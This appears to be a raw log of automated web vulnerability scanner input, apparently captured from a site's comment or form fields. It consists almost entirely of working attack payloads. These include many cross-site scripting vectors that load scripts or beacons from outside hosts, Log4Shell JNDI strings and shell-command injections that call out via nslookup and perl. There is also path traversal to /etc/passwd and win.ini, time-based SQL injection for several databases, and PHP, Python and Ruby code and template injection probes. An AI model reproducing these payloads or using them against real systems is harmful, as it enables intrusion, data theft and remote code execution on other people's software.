555'"()&%<zzz><ScRiPt >vtwx(9996)</ScRiPt>
555'"()&%<zzz><ScRiPt >82mw(9215)</ScRiPt>
555'"()&%<zzz><ScRiPt >TCi4(9696)</ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=tPna(9025)>
'"()&%<zzz><ScRiPt >vtwx(9809)</ScRiPt>
'"()&%<zzz><ScRiPt >TCi4(9996)</ScRiPt>
555<ScRiPt >EZvS(9457)</ScRiPt>
'"()&%<zzz><ScRiPt >82mw(9355)</ScRiPt>
555<img src=xyz OnErRor=tPna(9486)>
5559770063
5559366000
555<WBRMNH>DCDG8[!+!]</WBRMNH>
5559117072
555<script>EZvS(9763)</script>
555<img/src=">" onerror=alert(9399)>
bfg1368<s1﹥s2ʺs3ʹhjl1368
bfg1283<s1﹥s2ʺs3ʹhjl1283
bfg1239<s1﹥s2ʺs3ʹhjl1239
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%50%6E%61%289346%29%3C%2F%73%43%72%69%70%54%3E
555<ScR<ScRiPt>IpT>EZvS(9897)</sCr<ScRiPt>IpT>
bfgx10573%C0%BEz1%C0%BCz2a%90bcxhjl10573
bfgx1760%C0%BEz1%C0%BCz2a%90bcxhjl1760
bfgx1506%C0%BEz1%C0%BCz2a%90bcxhjl1506
555<ScRiPt >EZvS(9643)</ScRiPt>
555\u003CScRiPt\tPna(9980)\u003C/sCripT\u003E
555<ScRiPt >nUKs(9521)</ScRiPt>
555<ScRiPt>tPna(9530)</sCripT>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9801></ScRiPt>
555<WIGVJY>M6JGH[!+!]</WIGVJY>
%F6<img zzz onmouseover=tPna(93891) //%F6>
555<script>nUKs(9491)</script>
555<input autofocus onfocus=tPna(9821)>
555<isindex type=image src=1 onerror=EZvS(9701)>
555<ScR<ScRiPt>IpT>nUKs(9933)</sCr<ScRiPt>IpT>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9222'>
555<ScRiPt >nUKs(9653)</ScRiPt>
555<body onload=EZvS(9254)>
555<ScRiPt >VHg0(9218)</ScRiPt>
555}body{zzz:Expre/**/SSion(tPna(9340))}
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9145></ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=EZvS(9042)>
555<WLABPH>DXPDC[!+!]</WLABPH>
555ordli<ScRiPt >tPna(9931)</ScRiPt>
555<img src=xyz OnErRor=EZvS(9064)>
555<WGNJWQ>W5SRB[!+!]</WGNJWQ>
555<script>VHg0(9330)</script>
555<isindex type=image src=1 onerror=nUKs(9231)>
555<img/src=">" onerror=alert(9334)>
555<ScR<ScRiPt>IpT>VHg0(9823)</sCr<ScRiPt>IpT>
555<ifRAme sRc=9191.com></IfRamE>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9871'>
%35%35%35%3C%53%63%52%69%50%74%20%3E%45%5A%76%53%289702%29%3C%2F%73%43%72%69%70%54%3E
555<aq9JMx4 x=9420>
555<ScRiPt >VHg0(9794)</ScRiPt>
555<body onload=nUKs(9927)>
555\u003CScRiPt\EZvS(9171)\u003C/sCripT\u003E
555<ScRiPt >vtwx(9503)</ScRiPt>
555<ScRiPt >TCi4(9958)</ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=nUKs(9970)>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9815></ScRiPt>
555<img sRc='http://attacker-9790/log.php?
555<ScRiPt >82mw(9162)</ScRiPt>
555<ScRiPt>EZvS(9879)</sCripT>
555<img src=xyz OnErRor=nUKs(9923)>
555<WPJC0G>RPMW9[!+!]</WPJC0G>
555<W7BJMK>2Q6UT[!+!]</W7BJMK>
555<aHOMXkH<
555<WKM6SK>7AEBU[!+!]</WKM6SK>
555<script>TCi4(9302)</script>
%F6<img zzz onmouseover=EZvS(96151) //%F6>
555<img/src=">" onerror=alert(9733)>
555<script>vtwx(9252)</script>
555<isindex type=image src=1 onerror=VHg0(9500)>
555<script>82mw(9944)</script>
555<input autofocus onfocus=EZvS(9816)>
555<ScR<ScRiPt>IpT>TCi4(9955)</sCr<ScRiPt>IpT>
%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%55%4B%73%289623%29%3C%2F%73%43%72%69%70%54%3E
555<ScR<ScRiPt>IpT>vtwx(9898)</sCr<ScRiPt>IpT>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9737'>
555<ScR<ScRiPt>IpT>82mw(9360)</sCr<ScRiPt>IpT>
555<ScRiPt >TCi4(9760)</ScRiPt>
555\u003CScRiPt\nUKs(9821)\u003C/sCripT\u003E
555<ScRiPt >vtwx(9861)</ScRiPt>
555<body onload=VHg0(9944)>
555<ScRiPt >82mw(9008)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9438></ScRiPt>
555<ScRiPt>nUKs(9641)</sCripT>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9092></ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=VHg0(9686)>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9479></ScRiPt>
%F6<img zzz onmouseover=nUKs(90511) //%F6>
555}body{zzz:Expre/**/SSion(EZvS(9772))}
555<img src=xyz OnErRor=VHg0(9830)>
555<input autofocus onfocus=nUKs(9979)>
555ZBoe4<ScRiPt >EZvS(9607)</ScRiPt>
555<img/src=">" onerror=alert(9183)>
555<isindex type=image src=1 onerror=vtwx(9516)>
555<isindex type=image src=1 onerror=TCi4(9541)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%56%48%67%30%289847%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9036'>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9028'>
555<WTTWT0>NNO7D[!+!]</WTTWT0>
555<isindex type=image src=1 onerror=82mw(9888)>
555<body onload=vtwx(9362)>
555\u003CScRiPt\VHg0(9526)\u003C/sCripT\u003E
555<body onload=TCi4(9262)>
555<ifRAme sRc=9015.com></IfRamE>
555}body{zzz:Expre/**/SSion(nUKs(9975))}
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9334'>
555<img src=//xss.bxss.me/t/dot.gif onload=vtwx(9449)>
555<alvHU0V x=9624>
555<ScRiPt>VHg0(9271)</sCripT>
555<img src=//xss.bxss.me/t/dot.gif onload=TCi4(9460)>
5554XoRa<ScRiPt >nUKs(9021)</ScRiPt>
555<body onload=82mw(9218)>
555<img src=xyz OnErRor=vtwx(9366)>
555<img sRc='http://attacker-9960/log.php?
%F6<img zzz onmouseover=VHg0(99331) //%F6>
555<WPCH3Z>376QX[!+!]</WPCH3Z>
555<img src=xyz OnErRor=TCi4(9212)>
555<img src=//xss.bxss.me/t/dot.gif onload=82mw(9913)>
555<img/src=">" onerror=alert(9240)>
555<aLUyrcr<
555<input autofocus onfocus=VHg0(9316)>
555<img/src=">" onerror=alert(9282)>
555<img src=xyz OnErRor=82mw(9338)>
555<ifRAme sRc=9448.com></IfRamE>
%35%35%35%3C%53%63%52%69%50%74%20%3E%76%74%77%78%289905%29%3C%2F%73%43%72%69%70%54%3E
%35%35%35%3C%53%63%52%69%50%74%20%3E%54%43%69%34%289643%29%3C%2F%73%43%72%69%70%54%3E
555<ad84z5C x=9387>
555<img/src=">" onerror=alert(9521)>
555\u003CScRiPt\vtwx(9565)\u003C/sCripT\u003E
555\u003CScRiPt\TCi4(9040)\u003C/sCripT\u003E
555<img sRc='http://attacker-9390/log.php?
%35%35%35%3C%53%63%52%69%50%74%20%3E%38%32%6D%77%289103%29%3C%2F%73%43%72%69%70%54%3E
555<ScRiPt>vtwx(9215)</sCripT>
555<ScRiPt>TCi4(9352)</sCripT>
555}body{zzz:Expre/**/SSion(VHg0(9921))}
555\u003CScRiPt\82mw(9577)\u003C/sCripT\u003E
555<auTAQ0k<
%F6<img zzz onmouseover=vtwx(94311) //%F6>
%F6<img zzz onmouseover=TCi4(94231) //%F6>
555lLyjU<ScRiPt >VHg0(9810)</ScRiPt>
555<input autofocus onfocus=vtwx(9907)>
555<ScRiPt>82mw(9728)</sCripT>
555<input autofocus onfocus=TCi4(9096)>
555<WPM2TY>2O9MF[!+!]</WPM2TY>
%F6<img zzz onmouseover=82mw(98091) //%F6>
555<ifRAme sRc=9894.com></IfRamE>
555<input autofocus onfocus=82mw(9249)>
555<a9chKqD x=9808>
555}body{zzz:Expre/**/SSion(vtwx(9051))}
555}body{zzz:Expre/**/SSion(TCi4(9114))}
555<img sRc='http://attacker-9532/log.php?
555Q3A1G<ScRiPt >vtwx(9624)</ScRiPt>
555<aKeFOMC<
555iIJkE<ScRiPt >TCi4(9241)</ScRiPt>
555}body{zzz:Expre/**/SSion(82mw(9358))}
555<WKQVMA>RIUIN[!+!]</WKQVMA>
555<WKGGZC>UDRB9[!+!]</WKGGZC>
555Nqeuu<ScRiPt >82mw(9745)</ScRiPt>
555<ifRAme sRc=9116.com></IfRamE>
555<ifRAme sRc=9768.com></IfRamE>
555<WF7XCE>VK4XK[!+!]</WF7XCE>
555<aekE6nX x=9914>
555<agKfkIE x=9703>
555<ifRAme sRc=9359.com></IfRamE>
555<img sRc='http://attacker-9486/log.php?
555<img sRc='http://attacker-9281/log.php?
555<aVnXqBq x=9096>
555<aVKtxbO<
555<aEjjitJ<
555<img sRc='http://attacker-9660/log.php?
555<akcVEEx<
555'"()&%<zzz><ScRiPt >0Xyt(9666)</ScRiPt>
'"()&%<zzz><ScRiPt >0Xyt(9716)</ScRiPt>
5559727712
bfg9551<s1﹥s2ʺs3ʹhjl9551
bfgx6283%C0%BEz1%C0%BCz2a%90bcxhjl6283
555<ScRiPt >0Xyt(9437)</ScRiPt>
555<WZJ3HD>0X0VW[!+!]</WZJ3HD>
555<script>0Xyt(9376)</script>
555<ScR<ScRiPt>IpT>0Xyt(9510)</sCr<ScRiPt>IpT>
555<ScRiPt >0Xyt(9507)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9603></ScRiPt>
555<isindex type=image src=1 onerror=0Xyt(9907)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9421'>
555<body onload=0Xyt(9387)>
555<img src=//xss.bxss.me/t/dot.gif onload=0Xyt(9116)>
555<img src=xyz OnErRor=0Xyt(9648)>
555<img/src=">" onerror=alert(9735)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%30%58%79%74%289405%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\0Xyt(9051)\u003C/sCripT\u003E
555<ScRiPt>0Xyt(9297)</sCripT>
%F6<img zzz onmouseover=0Xyt(90521) //%F6>
555<input autofocus onfocus=0Xyt(9415)>
555}body{zzz:Expre/**/SSion(0Xyt(9272))}
555mhvE5<ScRiPt >0Xyt(9828)</ScRiPt>
555<W51BPE>RUGVH[!+!]</W51BPE>
555<ifRAme sRc=9081.com></IfRamE>
555<aR39RDP x=9595>
555<img sRc='http://attacker-9313/log.php?
555<aGbGue7<
This is a sample comment...
${j${::-n}di:dns${::-:}${::-/}/hitqfzmudyetv856ca${::-.}bxss.me}zzzz
response.write(9244087*9291652)
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hityxogfjzaygac0ad${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'+response.write(9244087*9291652)+'
"+response.write(9244087*9291652)+"
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-98851.1141.b9947${::-.}1${::-.}bxss.me}}
'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-98853&h=1141-b9947-2&"></script>
/../../../../../../../../../../windows/system32/BITSADMIN.exe
echo apyazk$()\ bwwijf\nz^xyu||a #' &echo apyazk$()\ bwwijf\nz^xyu||a #|" &echo apyazk$()\ bwwijf\nz^xyu||a #
kK59ujp3
&echo epuixl$()\ icmbco\nz^xyu||a #' &echo epuixl$()\ icmbco\nz^xyu||a #|" &echo epuixl$()\ icmbco\nz^xyu||a #
|echo fpntzr$()\ fjkyqa\nz^xyu||a #' |echo fpntzr$()\ fjkyqa\nz^xyu||a #|" |echo fpntzr$()\ fjkyqa\nz^xyu||a #
(nslookup hitertxashbfsb1e46.bxss.me||perl -e "gethostbyname('hitertxashbfsb1e46.bxss.me')")
$(nslookup hitnmeqvdxuxucac19.bxss.me||perl -e "gethostbyname('hitnmeqvdxuxucac19.bxss.me')")
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
bcc:074625.1141-98909.1141.b9947.19250.2@bxss.me
file:///etc/passwd
&(nslookup hitwgxqrwicdbce6e7.bxss.me||perl -e "gethostbyname('hitwgxqrwicdbce6e7.bxss.me')")&'\"`0&(nslookup hitwgxqrwicdbce6e7.bxss.me||perl -e "gethostbyname('hitwgxqrwicdbce6e7.bxss.me')")&`'
to@example.com>
bcc:074625.1141-98910.1141.b9947.19250.2@bxss.me
../
|(nslookup hitqpqwcexxjq25693.bxss.me||perl -e "gethostbyname('hitqpqwcexxjq25693.bxss.me')")
./
`(nslookup hitgiyxscjfwpefbfc.bxss.me||perl -e "gethostbyname('hitgiyxscjfwpefbfc.bxss.me')")`
;(nslookup hitcerhinwzsb0eaad.bxss.me||perl -e "gethostbyname('hitcerhinwzsb0eaad.bxss.me')")|(nslookup hitcerhinwzsb0eaad.bxss.me||perl -e "gethostbyname('hitcerhinwzsb0eaad.bxss.me')")&(nslookup hitcerhinwzsb0eaad.bxss.me||perl -e "gethostbyname('hitcerhinwzsb0eaad.bxss.me')")
-1 OR 2+910-910-1=0+0+0+1 --
<esi:include src="http://bxss.me/rpb.png"/>
-1 OR 3+910-910-1=0+0+0+1 --
-1 OR 2+321-321-1=0+0+0+1
-1 OR 3+321-321-1=0+0+0+1
-1' OR 2+107-107-1=0+0+0+1 --
-1' OR 3+107-107-1=0+0+0+1 --
${10000048+10000464}
-1' OR 2+833-833-1=0+0+0+1 or 'oeZ7Bdqz'='
-1' OR 3+833-833-1=0+0+0+1 or 'oeZ7Bdqz'='
-1" OR 2+356-356-1=0+0+0+1 --
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
-1" OR 3+356-356-1=0+0+0+1 --
&n956111=v986763
)
!(()&&!|*|*|
Http://bxss.me/t/fit.txt
^(#$!@#$)(()))******
http://bxss.me/t/fit.txt?.jpg
/etc/shells
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hitzn'.'ufqlhamfd7a8f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(70).chr(116).chr(67).'
'"()
".gethostbyname(lc("hitwh"."vzpucaid28e90.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(70).chr(100).chr(75)."
'&&sleep(27*1000)*cfszem&&'
"&&sleep(27*1000)*aaklcr&&"
'||sleep(27*1000)*vpeqxr||'
"||sleep(27*1000)*sfxwip||"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
if(now()=sysdate(),sleep(15),0)
ctime
sleep
p0
(I30
tp1
Rp2
.
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitcvkharfxuye2c7f.'+'bxss.me')
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitcvkharfxuye2c7f."+"bxss.me")+'
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitcvkharfxuye2c7f.'+'bxss.me')+"
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(98).concat(67).concat(115).concat(67)+(require"socket"
Socket.gethostbyname("hitar"+"udksameceda82.bxss.me.")[3].to_s)+"
nopcommerce-new-release
http://hitkiirrtrcvd.bxss.me/
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nopcommerce-new-release/.
'+'A'.concat(70-3).concat(22*4).concat(100).concat(89).concat(100).concat(70)+(require'socket'
Socket.gethostbyname('hitof'+'woabkrkx9c10a.bxss.me.')[3].to_s)+'
/xfs.bxss.me
'"
<!--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
'"()&%<zzz><ScRiPt >PGgm(9729)</ScRiPt>
'"()&%<zzz><ScRiPt >PGgm(9620)</ScRiPt>
9304183


bfg4941<s1﹥s2ʺs3ʹhjl4941
bfgx4522%C0%BEz1%C0%BCz2a%90bcxhjl4522
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
<ScRiPt >PGgm(9624)</ScRiPt>
<W2CWWX>CRVYO[!+!]</W2CWWX>
<script>PGgm(9679)</script>
<ScR<ScRiPt>IpT>PGgm(9665)</sCr<ScRiPt>IpT>
<ScRiPt
>PGgm(9027)</ScRiPt>
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9802></ScRiPt>
<isindex type=image src=1 onerror=PGgm(9621)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9315'>
<body onload=PGgm(9763)>
<img src=//xss.bxss.me/t/dot.gif onload=PGgm(9185)>
<img src=xyz OnErRor=PGgm(9622)>
<img/src=">" onerror=alert(9217)>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
%0D%0A%3C%53%63%52%69%50%74%20%3E%50%47%67%6D%289366%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\PGgm(9733)\u003C/sCripT\u003E
<ScRiPt>PGgm(9456)</sCripT>
%F6<img zzz onmouseover=PGgm(93621) //%F6>
<input autofocus onfocus=PGgm(9765)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
}body{zzz:Expre/**/SSion(PGgm(9779))}
Sw2SI
<ScRiPt >PGgm(9448)</ScRiPt>
<W8QBB9>LFDFQ[!+!]</W8QBB9>
<ifRAme sRc=9930.com></IfRamE>
<ahOa9e5 x=9110>
<img sRc='http://attacker-9305/log.php?
-1; waitfor delay '0:0:15' --
<a024hIh<
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
W2MR8nHi'; waitfor delay '0:0:15' --
NuwCVvOq'); waitfor delay '0:0:15' --
XV4R6fZI')); waitfor delay '0:0:15' --
-5 OR 993=(SELECT 993 FROM PG_SLEEP(15))--
-5) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
-1)) OR 462=(SELECT 462 FROM PG_SLEEP(15))--
WzoPfGsv' OR 18=(SELECT 18 FROM PG_SLEEP(15))--
NyRYppd9') OR 260=(SELECT 260 FROM PG_SLEEP(15))--
hg3c5eRw')) OR 432=(SELECT 432 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@RVdyJ
response.write(9738751*9498445)
${j${::-n}di:dns${::-:}${::-/}/hithegnauliuh224c6${::-.}bxss.me}zzzz
'+response.write(9738751*9498445)+'

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-101376&h=1141-b9947-2&"></script>
/../../../../../../../../../../windows/system32/BITSADMIN.exe
"+response.write(9738751*9498445)+"
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitbfzkbpqdvw46705${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA










${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-101382.1141.b9947${::-.}1${::-.}bxss.me}}




echo sbvqqm$()\ blcoki\nz^xyu||a #' &echo sbvqqm$()\ blcoki\nz^xyu||a #|" &echo sbvqqm$()\ blcoki\nz^xyu||a #
Gllqym6X
&echo clswae$()\ ltahee\nz^xyu||a #' &echo clswae$()\ ltahee\nz^xyu||a #|" &echo clswae$()\ ltahee\nz^xyu||a #


|echo mbpfxh$()\ lmcaek\nz^xyu||a #' |echo mbpfxh$()\ lmcaek\nz^xyu||a #|" |echo mbpfxh$()\ lmcaek\nz^xyu||a #
(nslookup hitcaeqachbhsc9876.bxss.me||perl -e "gethostbyname('hitcaeqachbhsc9876.bxss.me')")
../../../../../../../../../../../../../../etc/passwd


$(nslookup hituvhwybbmkf87cbb.bxss.me||perl -e "gethostbyname('hituvhwybbmkf87cbb.bxss.me')")
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
&(nslookup hitegtmqhcvsk3e5b1.bxss.me||perl -e "gethostbyname('hitegtmqhcvsk3e5b1.bxss.me')")&'\"`0&(nslookup hitegtmqhcvsk3e5b1.bxss.me||perl -e "gethostbyname('hitegtmqhcvsk3e5b1.bxss.me')")&`'


to@example.com>
bcc:074625.1141-101386.1141.b9947.19250.2@bxss.me
../






|(nslookup hitoalpyijqbec0449.bxss.me||perl -e "gethostbyname('hitoalpyijqbec0449.bxss.me')")






`(nslookup hitowbgnrtobt1a456.bxss.me||perl -e "gethostbyname('hitowbgnrtobt1a456.bxss.me')")`








;(nslookup hitggugcovddd24ad8.bxss.me||perl -e "gethostbyname('hitggugcovddd24ad8.bxss.me')")|(nslookup hitggugcovddd24ad8.bxss.me||perl -e "gethostbyname('hitggugcovddd24ad8.bxss.me')")&(nslookup hitggugcovddd24ad8.bxss.me||perl -e "gethostbyname('hitggugcovddd24ad8.bxss.me')")



<esi:include src="http://bxss.me/rpb.png"/>
${9999474+9999865}














http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

&n974902=v920070


)
Http://bxss.me/t/fit.txt
!(()&&!|*|*|


http://bxss.me/t/fit.txt?.jpg
^(#$!@#$)(()))******


/etc/shells






c:/windows/win.ini






bxss.me






'.gethostbyname(lc('hitss'.'efuobragc7541.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(69).chr(119).chr(68).'
'"()






".gethostbyname(lc("hitzr"."iisoeplx639c2.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(85).chr(110).chr(69)."







'&&sleep(27*1000)*hthfae&&'




;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

"&&sleep(27*1000)*rqawby&&"
';print(md5(31337));$a='

'||sleep(27*1000)*jmdiay||'
ctime
sleep
p0
(I30
tp1
Rp2
.


";print(md5(31337));$a="

"||sleep(27*1000)*fkohww||"
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitclyvqfwgzddd0d7.'+'bxss.me')


${@print(md5(31337))}
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitclyvqfwgzddd0d7."+"bxss.me")+'
-1 OR 2+271-271-1=0+0+0+1 --
${@print(md5(31337))}\


"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitclyvqfwgzddd0d7.'+'bxss.me')+"
-1 OR 2+882-882-1=0+0+0+1
'.print(md5(31337)).'




-1' OR 2+494-494-1=0+0+0+1 --




-1' OR 2+157-157-1=0+0+0+1 or 'J3WKKzwu'='




-1" OR 2+138-138-1=0+0+0+1 --








HttP://bxss.me/t/xss.html?%00




bxss.me/t/xss.html?%00










"+"A".concat(70-3).concat(22*4).concat(110).concat(66).concat(100).concat(66)+(require"socket"
Socket.gethostbyname("hithm"+"jvfmkweu88e12.bxss.me.")[3].to_s)+"
nopcommerce-new-release
'+'A'.concat(70-3).concat(22*4).concat(120).concat(73).concat(116).concat(79)+(require'socket'
Socket.gethostbyname('hittl'+'lnwpivmv6f015.bxss.me.')[3].to_s)+'
http://hituhoidiikly.bxss.me/
nopcommerce-new-release/.
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))














/xfs.bxss.me




'"

'"()&%<zzz><ScRiPt >GUSZ(9363)</ScRiPt>
<!--






if(now()=sysdate(),sleep(15),0)
'"()&%<zzz><ScRiPt >GUSZ(9980)</ScRiPt>







9919907
bfg8300<s1﹥s2ʺs3ʹhjl8300
bfgx9757%C0%BEz1%C0%BCz2a%90bcxhjl9757
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >GUSZ(9163)</ScRiPt>
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

<WNLQHY>RZQC9[!+!]</WNLQHY>

<ScRiPt
>GUSZ(9065)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9194></ScRiPt>

<isindex type=image src=1 onerror=GUSZ(9120)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9112'>

<body onload=GUSZ(9396)>

<img src=//xss.bxss.me/t/dot.gif onload=GUSZ(9252)>

<img src=xyz OnErRor=GUSZ(9124)>
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

<img/src=">" onerror=alert(9888)>
%0D%0A%26%23%78%44%3B%26%23%78%41%3B%3C%53%63%52%69%50%74%20%3E%47%55%53%5A%289209%29%3C%2F%73%43%72%69%70%54%3E

<ScRiPt>GUSZ(9907)</sCripT>
%F6<img zzz onmouseover=GUSZ(90281) //%F6>

<input autofocus onfocus=GUSZ(9758)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(GUSZ(9107))}

vISf6
<ScRiPt >GUSZ(9260)</ScRiPt>

<WDVYSN>XI3LH[!+!]</WDVYSN>

<ifRAme sRc=9930.com></IfRamE>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

<alWdaMc x=9979>

<img sRc='http://attacker-9141/log.php?

<aOdbAc3<














1 waitfor delay '0:0:15' --






















pdGVOBnu'; waitfor delay '0:0:15' --




















SYfkbAS9'); waitfor delay '0:0:15' --




















gioAISNh')); waitfor delay '0:0:15' --




Xhz61gFk' OR 652=(SELECT 652 FROM PG_SLEEP(15))--
555
9grJC2Rl') OR 277=(SELECT 277 FROM PG_SLEEP(15))--
4KIfAdle')) OR 351=(SELECT 351 FROM PG_SLEEP(15))--

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@GSLDg














































response.write(9551119*9905575)
${j${::-n}di:dns${::-:}${::-/}/hitjfuwuwakrmfb617${::-.}bxss.me}zzzz
'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-104344&h=1141-b9947-2&"></script>
'+response.write(9551119*9905575)+'
/../../../../../../../../../../windows/system32/BITSADMIN.exe
"+response.write(9551119*9905575)+"
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitcugfeubdvfc13b2${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
echo uxpzbw$()\ jqxpce\nz^xyu||a #' &echo uxpzbw$()\ jqxpce\nz^xyu||a #|" &echo uxpzbw$()\ jqxpce\nz^xyu||a #
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-104347.1141.b9947${::-.}1${::-.}bxss.me}}
&echo xognez$()\ glgzcs\nz^xyu||a #' &echo xognez$()\ glgzcs\nz^xyu||a #|" &echo xognez$()\ glgzcs\nz^xyu||a #
oxebAkaA
../../../../../../../../../../../../../../etc/passwd
|echo rqugrz$()\ vcqmab\nz^xyu||a #' |echo rqugrz$()\ vcqmab\nz^xyu||a #|" |echo rqugrz$()\ vcqmab\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
